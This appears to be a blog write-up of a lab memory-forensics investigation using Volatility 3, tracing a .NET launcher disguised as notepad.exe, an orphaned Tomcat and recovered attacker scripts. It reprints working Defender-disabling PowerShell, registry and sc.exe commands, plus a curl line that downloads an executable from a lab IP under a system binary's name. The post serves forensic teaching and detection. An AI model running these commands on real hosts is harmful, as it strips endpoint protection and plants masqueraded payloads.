notepad.exe Ran for 6 Seconds. Memory Forensics Exposed the Entire Attack Chain.
How one out-of-place process in a Windows 10 RAM image led me to a masqueraded .NET launcher, an orphaned Tomcat server, a Defender-kill script and the staging server behind it all.
Most investigations start with logs. For this one, everything I had was a single memory image of a Windows 10 host from my IR lab, and one question: what happened on this machine?
The answer turned out to be surprisingly rich. A notepad.exe that was never Notepad. A Java process with no parent. A browser that opened a page nobody typed in. And a PowerShell process whose memory still remembered the URL it used to fetch the payload, even though the payload itself lived for only about six seconds.
This post walks through the investigation step by step with Volatility 3, including the dead ends, because the dead ends taught me as much as the hits.
Lab-specific identifiers (usernames, folder names) have been redacted or renamed. All IP addresses are private VirtualBox lab addresses.
Setting the Stage: What Am I Looking At?
Before hunting anything, I confirm what the image actually is.
python vol.py -f win10.raw windows.infoIt was a Windows 10 system. With the profile confirmed, I moved on to the question every memory investigation starts with: which processes should not be here?
First Anomalies: pslist and pstree
I ran windows.pslist and redirected the output to a file so I could study it properly:
python vol.py -f win10.raw windows.pslist > pslist.txt
python vol.py -f win10.raw windows.pstree > pstree.txtThree things looked wrong immediately:
powershell.exehad a child process callednotepad.exe.- That
notepad.exewas running fromC:\temp\, not fromC:\Windows\System32. msedge.exeappeared in the same chain, and ajava.exeexisted whose parent process (PID 6792) was nowhere in the process list.
The tree looked like this:
explorer.exe (4956)
|
+-- powershell.exe (5140) <- started manually from a console
|
+-- notepad.exe (5032) <- C:\temp\notepad.exe (suspicious)
|
+-- msedge.exe (1688)java.exe (5408) <- parent PID 6792 not found (orphan)A text editor does not spawn a browser. And it certainly does not live in C:\temp.
Summary of the four processes of interest:
| PID | Process | PPID | Why it matters |
|------|----------------|------|-----------------------------------------|
| 5140 | powershell.exe | 4956 | Interactive console, launched the chain |
| 5032 | notepad.exe | 5140 | Runs from C:\temp, short-lived |
| 1688 | msedge.exe | - | Opened a localhost page |
| 5408 | java.exe | 6792 | Orphan, parent not present |Command Lines Tell the Story
Next I pulled the command line of every suspect PID:
python vol.py -f win10.raw windows.cmdline --pid 5140 5408 1688 5032- powershell.exe (5140): started manually from a console.
- notepad.exe (5032): executed for only about six seconds, then exited.
- msedge.exe (1688): launched with
http://localhost:8082/test/index.html. - java.exe (5408): running Apache Tomcat 10, serving port 8082.
Now the picture was forming. Something started a local web server and then opened a page on it. But what, and why was it wearing the name of a Windows text editor?
Six Seconds on the Network
python vol.py -f win10.raw windows.netscan | findstr "5140 5032 5408 1688"Correlating netscan with process creation times gave me a timeline measured in seconds:
16:30:04 PowerShell console access
16:36:06 powershell.exe launches notepad.exe (PID 5032)
16:36:08 java.exe (Tomcat) starts in the background
16:36:10 java.exe is listening on port 8082
16:36:10 notepad.exe ::1:54707 --> ::1:8082, then closes
16:36:12 msedge.exe launched
16:36:13 Edge requests http://localhost:8082/test/index.htmlThat ::1:54707 --> ::1:8082 line is the one that stood out. notepad.exe connected to the loopback interface, touched the port Tomcat had just opened, and closed the connection. That looks like a readiness probe, not text editing.
The Orphan: java.exe With No Parent
java.exe (5408) claimed parent PID 6792. I checked whether that parent existed anywhere, including terminated processes:
python vol.py -f win10.raw windows.psscan | findstr "6792"Nothing. The most likely explanation is a short-lived launcher, such as a batch script, that started Java and then exited. Windows does not rewrite the PPID when a parent dies, so the child keeps a dangling reference.
A lesson I keep relearning: an orphan process on its own proves nothing. Plenty of legitimate software does this. What made this one interesting was what started it and when, which the timeline above had already answered.
malfind: Reading the Results Honestly
I started with the targeted run:
python vol.py -f win10.raw windows.malware.malfind --pid 5032 1688No output. That is not a clean bill of health. notepad.exe (5032) had already exited, so there was no live memory left to inspect, and msedge.exe showed no injected code. java.exe (5408) also came back empty.
So I ran malfind against the whole image:
python vol.py -f win10.raw windows.malware.malfindTwo results:
- PID 5300 (SearchApp): false positive. This is the Windows 10 search and start menu app, which allocates executable memory legitimately.
- PID 5140 (powershell.exe): 5 regions with PAGE_EXECUTE_READWRITE. Suspicious.
I dumped those regions for closer inspection:
python vol.py -f win10.raw -o dumps windows.malware.malfind --pid 5140 --dumpA caveat worth stating: executable private memory in a .NET host like PowerShell is not automatically malicious, because the CLR can produce it too. Hold that thought, because one of the later findings turns this from a suspicion into evidence.
Recovering a Process That No Longer Exists
The binary was running from C:\temp\, so even though the process was gone, Windows may still have the file in its cache. I searched the file objects:
python vol.py -f win10.raw windows.filescan | findstr /i "notepad.exe"Two file objects pointed at \temp\notepad.exe: 0xe6031b404440 and 0xe6031b4118c0. I extracted both:
python vol.py -f win10.raw -o dumps windows.dumpfiles --virtaddr 0xe6031b404440
python vol.py -f win10.raw -o dumps windows.dumpfiles --virtaddr 0xe6031b4118c0Hashing the recovered file:
powershell -Command "Get-ChildItem 'dumps\*notepad*' | Get-FileHash -Algorithm SHA256
| Format-List"
SHA256: 665C8331C814D644FF15508FB1E21E57F4D3CFEAED8CA11A11BB35CC7922CFE2A VirusTotal search returned no results. That does not mean the file is safe. It means the sample is unknown to the platform, which is exactly what you would expect from a custom-built binary.
I also tried dumping the process memory directly:
python vol.py -f win10.raw -o dumps windows.vadinfo --pid 5032 --dumpNothing came out. notepad.exe had run for six seconds and exited, and its private memory had already been released back to the system. This is the core limitation of memory forensics for short-lived processes: once the process ends, its memory is gone, and the file cache is your second chance.
Strings Don’t Lie: It’s Not Notepad, It’s TomcatLaunch
With the file cache recovered, I extracted both ASCII and Unicode strings with a PowerShell one-liner and filtered them for the keywords I cared about (http, 8082, localhost, msedge, cmd, powershell, test, index, .html).
The output immediately identified the real name of the binary:
<Module> TomcatLaunch.exe TomcatLaunch mscorlib
StartupBat IndexPath TargetUrl TargetPort
Main IsListening WaitForPort WaitForHttp FindEdge Log=== TomcatLaunch start ===
Tomcat already listening on port - skipping startup
C:\apachetomcat10\bin\startup.bat
startup.bat launched - waiting for server...
Timed out waiting for port
Tomcat is now listening on port
http://localhost:8082/test/index.html
Opening in Edge: http://localhost:8082/test/index.html
Edge not found; opened URL with default browser
=== TomcatLaunch done ===The metadata strings (mscorlib, System.Diagnostics.Process, TcpClient, HttpWebRequest) show a C# / .NET executable. Reading the strings as a program, the logic reconstructs cleanly:
Check if port 8082 is already listening
|
v (if not)
Run C:\apachetomcat10\bin\startup.bat
|
v
Wait for the port to open --> wait for HTTP response
|
v
Locate msedge.exe (fallback: default browser)
|
v
Open http://localhost:8082/test/index.html
|
v
Write a log entry and exitThis matches everything the process tree and netscan showed: the six-second lifetime, the Tomcat child, the loopback probe and the browser launch. The binary was TomcatLaunch.exe running under the name notepad.exe from C:\temp\, which is textbook masquerading.
It is a good reminder that a launcher does not need to be sophisticated to be effective. Its entire job was to stage a local web service and display a page.
Who Ran It? Carving the Console From Memory
Process artifacts told me what ran. To find how, I looked at the user session:
python vol.py -f win10.raw windows.sessionsTwo things stood out. sshd.exe (PID 3472) and ssh-agent.exe (PID 3492) were running, meaning OpenSSH was active on the host. And the conhost.exe instance (PID 832) belonged to the PowerShell console of the user MalwareIR in Session 1.
The console host keeps the screen buffer in memory, which makes it one of the best places to find interactive command history. I dumped its memory:
python vol.py -f win10.raw -o dumps windows.vadinfo --pid 832 --dumpThen extracted ASCII and UTF-16LE strings, filtered for powershell|notepad|temp|8082|scp|ssh|http|Start-Process. The raw result was noisy, a mix of both encodings and garbage, so I wrote a small Python parser (parse_console.py) to clean it up.
Get Mohammad Samsuzzoha’s stories in your inbox
Join Medium for free to get updates from this writer.
What the console buffer revealed:
- The actor worked from the user account MalwareIR, in a working directory I have redacted here as
C:\<REDACTED>\. - Network discovery with
ipconfig. - An attempt to disable security controls through a PowerShell script, which appears to have failed.
- Pre-staged tooling: Win-PS2EXE-master, TomcatLaunch.zip, and a TomcatLaunch project folder.
- The command
.\notepad.exe, mapping toC:\temp\notepad.exe(PID 5032).
The story shifted: the actor tried to weaken the host first, then fell back to a compiled executable disguised as a system binary.
Where Did the Binary Come From? Shimcache From Memory
To establish provenance I used the Application Compatibility Cache, which Volatility can read straight from memory:
python vol.py -f win10.raw windows.shimcachememKey entries:
| Order | Entry | Significance |
|-------------|------------------------------------|-----------------------------------------------|
| 0 | C:\temp\notepad.exe | Masqueraded .NET launcher |
| 2, 3, 10 | curl.exe, sftp-server.exe, sshd.exe| Possible file retrieval / SSH-SFTP transfer |
| 21, 29, 30 | Win-PS2EXE.exe, cvtres.exe, csc.exe| PowerShell-to-EXE conversion, .NET compile |
| 26, 27, 33 | TomcatLaunch.exe, test.exe | Original binary and renamed copies |
| 68, 71 | tomcat10.exe, java.exe | Tomcat / Java activity tied to port 8082 |Putting it together:
- Origin: the binary appears to originate from
C:\<REDACTED>\TomcatLaunch\TomcatLaunch.exeand was later copied or moved toC:\temp\notepad.exe. - Build tooling:
Win-PS2EXEplus the built-incsc.exeC# compiler point to the payload being compiled on or near this host. - Transfer:
sftp-server.exeandsshd.exesuggest files may have arrived over SSH/SFTP. - Recon tooling:
curl.exe,ipconfig.exeandnetstat.exesuggest file retrieval and network discovery.
An important caveat: Shimcache shows that a file was present or touched, not that it definitely executed. I treated these as leads and validated them against the other artifacts.
Network Context: Two Subnets
To understand the network layout, I enumerated the interfaces from the registry hive in memory:
python vol.py -f win10.raw windows.registry.printkey --key "ControlSet001\Services\Tcpip\Parameters\Interfaces"Then drilled into each interface GUID and looked for IPAddress. Later findings confirmed the host was talking across two networks: a VirtualBox NAT subnet (10.0.2.x) and a Host-Only subnet (192.168.56.x).
Hunting the Entry Point (and Hitting Walls)
The obvious question was how the actor got in. Since Tomcat was in the picture, I looked for a classic Tomcat compromise: a web shell or a malicious WAR.
First, the Tomcat startup parameters from java.exe:
python vol.py -f win10.raw windows.cmdline --pid 5408Tomcat home / base : C:\apachetomcat10
Temp directory : C:\apachetomcat10\temp
Startup class : org.apache.catalina.startup.Bootstrap startThen I searched the file objects for anything suspicious in the web root:
python vol.py -f win10.raw windows.filescan | findstr -i "apachetomcat10\\webapps"No .jsp, .war or .class web shell was present. I also dumped the Java process memory to look for HTTP activity:
python vol.py -f win10.raw windows.memmap --pid 5408 --dumpThe dump contained references to conf/tomcat-users.xml, the Tomcat /manager context and multiple /test/ application paths. That gives two plausible hypotheses: abuse of Tomcat Manager with weak credentials, or exploitation of the /test/ application. But a reference to a config file is not proof of exploitation, and I could not confirm either path. I would rather report an unproven entry point as unproven than invent one.
A dead end worth sharing
My search for curl strings in the Java memory dump came back as a 0 KB file. At first that looked like a failure. It was actually a clue: curl.exe had been launched from a PowerShell script as a separate child process, so its artifacts would never appear in java.exe's heap. I was searching the wrong process.
The lesson: when a search returns nothing, ask whether you are looking in the right place before you conclude the evidence does not exist.
The Breakthrough: One Regex, One URL
Instead of guessing which process held the delivery URL, I scanned the entire physical memory for any URL containing an IP address:
python vol.py -q -f win10.raw regexscan.RegExScan --pattern "https?://\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}(?::\d{1,5})?"The full payload URL surfaced at several physical offsets:
http://10.0.2.4:8082/test/test.exeNearby memory also referenced http://192.168.56.103:8082/test/, confirming activity across both lab subnets.
Then I narrowed down to the process with windows.vadregexscan against PowerShell (PID 5140). The URL was found at virtual address 0x2476b281748, which sits inside the heap region 0x2476b250000-0x2476b25ffff, the very same unbacked PAGE_EXECUTE_READWRITE region that malfind had flagged earlier.
malfind flags PowerShell RWX region (suspicion)
+
Regex scan finds the payload URL inside that exact region (evidence)
=
PowerShell (5140) was the process that fetched the payloadThat is what I like about memory forensics. Two independent plugins, using different methods, pointed at the same region of the same process.
Recovering the Scripts
The console buffer had shown two scripts being run with the execution policy bypassed:
powershell -ExecutionPolicy Bypass -File .\disablesecurity.ps1
powershell -ExecutionPolicy Bypass -File .\dltest.ps1I searched for both files:
python vol.py -f win10.raw windows.filescan | findstr -i "dltest.ps1 disablesecurity.ps1"disablesecurity.ps1 was found at offset 0xe6031b3a2af0 and extracted with windows.dumpfiles. dltest.ps1 did not appear in filescan. Possible reasons are that its cached data was overwritten or that it was deleted after use, but those are hypotheses, not findings. The content of dltest.ps1 was still partially recoverable from strings, including the download URL and a curl.exe call writing to C:\temp\notepad.exe:
[string]$Url = 'http://10.0.2.4:8082/test/test.exe'
"C:\Windows\system32\curl.exe" -sS ... -o C:\temp\notepad.exe ...What disablesecurity.ps1 tried to do
The script used three different approaches to weaken Microsoft Defender.
1. Admin check. It first tests whether it is running elevated:
$isAdmin = ([Security.Principal.WindowsPrincipal]
[Security.Principal.WindowsIdentity]::GetCurrent()
).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)2. Defender preferences.
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableScriptScanning $true3. Registry policy changes.
HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender
DisableAntiSpyware = 1
HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
DisableRealtimeMonitoring = 14. Service and driver tampering. It tried to stop and disable WinDefend, WdNisSvc, WdNisDrv and WdFilter using sc.exe config <service> start= disabled.
The last line of the script is Start-Process -FilePath "notepad.exe". Given everything above, it is tempting to say this launched the masqueraded binary. But the command does not reference C:\temp\notepad.exe explicitly, so it may resolve to the legitimate Notepad depending on the environment. I flag it as a probable link, not a confirmed one.
Every one of these changes also depends on privileges, Tamper Protection and policy enforcement, so the presence of the commands does not prove they succeeded.
The Reconstructed Attack Chain
[1] Suspected activity against the Tomcat /test/ application
source 10.0.2.4 --> victim :8082 (Unconfirmed)
|
v
[2] Recon from the console: ipconfig, netstat (Observed)
|
v
[3] disablesecurity.ps1 - Defender tampering (Attempted, outcome unverified)
|
v
[4] dltest.ps1 -> curl.exe fetches
http://10.0.2.4:8082/test/test.exe
saved as C:\temp\notepad.exe (Strong evidence)
|
v
[5] powershell.exe (5140) -> notepad.exe (5032) (Confirmed)
|
+--> startup.bat -> java.exe (5408) Tomcat on :8082
+--> loopback probe ::1:8082
+--> msedge.exe (1688) opens localhost:8082/test/index.html
|
v
[6] Launcher exits after ~6 seconds (Confirmed)One point I want to be upfront about: there are two possible provenance stories for the binary. Shimcache suggests it was built locally (Win-PS2EXE, csc.exe) and copied from a project folder, while the script evidence shows a curl download of test.exe saved as notepad.exe. Both are consistent with the artifacts I recovered, and memory alone does not let me decide between them or prove that both happened. That is where disk and log evidence would come in.
What I Can and Cannot Prove
CONFIRMED
- powershell.exe -> notepad.exe chain, binary running from C:\temp
- notepad.exe lifetime of ~6 seconds with a loopback probe to :8082
- The binary is a .NET launcher (TomcatLaunch.exe) per recovered strings
- java.exe (5408) is Apache Tomcat 10 on port 8082
- Payload URL present inside PowerShell's flagged RWX region
- disablesecurity.ps1 existed and its contentsNOT YET VERIFIED
- Whether the Defender-disabling commands actually succeeded
- Whether Start-Process notepad.exe launched the C:\temp copy
- The initial access vector (Tomcat Manager vs /test/ app)
- File transfer over SSH/SFTPTakeaways for Defenders
- Parent-child relationships beat file names.
powershell.exespawningnotepad.exethat then launches a browser is an easy detection. Alert onnotepad.exerunning from anywhere other thanSystem32orSysWOW64. - Notepad does not need the network. Any
notepad.exemaking a network connection, even to loopback, deserves attention. - Watch for Defender tampering.
Set-MpPreferencedisabling protection, Defender policy registry changes andsc.exe configon Defender services should be high-fidelity alerts. Microsoft Defender events 5001 and 5007 are worth monitoring. - Capture memory early. The process lived six seconds. Without a memory image, the in-memory URL, the console history and the file cache would likely be gone.
- Hunt in the right process. Child processes such as
curl.exeleave their artifacts in the parent shell and the console host, not in the service that happened to be nearby.
Conclusion
What began as a single suspicious process in a RAM image became a full reconstruction: a .NET launcher disguised as Notepad, a Tomcat server started as an orphan, a browser opened on a local page, a script written to blind Defender, and a payload URL that PowerShell’s own memory still held.
The most valuable moments were not the plugins that returned results, but the ones that returned nothing: the empty malfind on an exited process, the empty VAD dump, the 0 KB curl search. Each one forced a better question.
Memory forensics will not answer everything, and it is important to say so. But when you correlate process trees, network state, console buffers, file cache, Shimcache and regex-carved strings, independent artifacts start agreeing with one another, and that agreement is what turns suspicion into evidence.
In the next part, I will validate these findings against static and dynamic analysis of the sample to see whether all three phases tell the same story.
- — — — — — — — — — — — — — — — — — — — — — — — — — — — -
IoCs
| Type | Indicator | Context |
|--------------|------------------------------------------------------------------|--------------------------------------|
| SHA256 | 665C8331C814D644FF15508FB1E21E57F4D3CFEAED8CA11A11BB35CC7922CFE2 | Cached copy of C:\temp\notepad.exe |
| File path | C:\temp\notepad.exe | Masqueraded .NET launcher |
| Original name| TomcatLaunch.exe | Recovered from .NET strings |
| Source URL | http://10.0.2.4:8082/test/test.exe | Payload download (lab IP) |
| URL | http://192.168.56.103:8082/test/ | Host-Only subnet reference (lab IP) |
| URL | http://localhost:8082/test/index.html | Page opened by launcher |
| Script | disablesecurity.ps1 | Defender tampering |
| Script | dltest.ps1 | Payload download via curl.exe |
| Tooling | Win-PS2EXE, csc.exe, cvtres.exe | PowerShell-to-EXE / .NET compilation |
| Path | C:\apachetomcat10\bin\startup.bat | Tomcat startup launched by dropper |
| Port | 8082/TCP | Tomcat listener / payload host |- — — — — — — — — — — — — — — — — — — — — — — — — — — — -
MITRE ATT&CK Mapping
| Technique | ID | Evidence | Confidence |
|------------------------------------------------|-----------|------------------------------------------------|------------|
| Command and Scripting Interpreter: PowerShell | T1059.001 | Interactive console, -ExecutionPolicy Bypass | High |
| Masquerading: Match Legitimate Name or Location| T1036.005 | TomcatLaunch.exe running as notepad.exe | High |
| Ingress Tool Transfer | T1105 | curl.exe download of test.exe from 10.0.2.4 | Medium |
| Impair Defenses: Disable or Modify Tools | T1562.001 | Set-MpPreference, sc.exe config on Defender | Attempted |
| Modify Registry | T1112 | Defender policy keys in disablesecurity.ps1 | Attempted |
| Obfuscated Files: Compile After Delivery | T1027.004 | Win-PS2EXE, csc.exe, cvtres.exe in Shimcache | Medium |
| System Network Configuration Discovery | T1016 | ipconfig in console buffer | High |
| System Network Connections Discovery | T1049 | netstat.exe in Shimcache | Low |
| Remote Services: SSH | T1021.004 | sshd.exe, sftp-server.exe activity | Low |- — — — — — — — — — — — — — — — — — — — — — — — — — — — -
Hope you found this useful. If you work in DFIR, SOC or malware analysis, follow me for more hands-on investigations like this.
My LinkedIn
Tags: Cybersecurity, Malware Analysis, Digital Forensics, Incident Response, Volatility







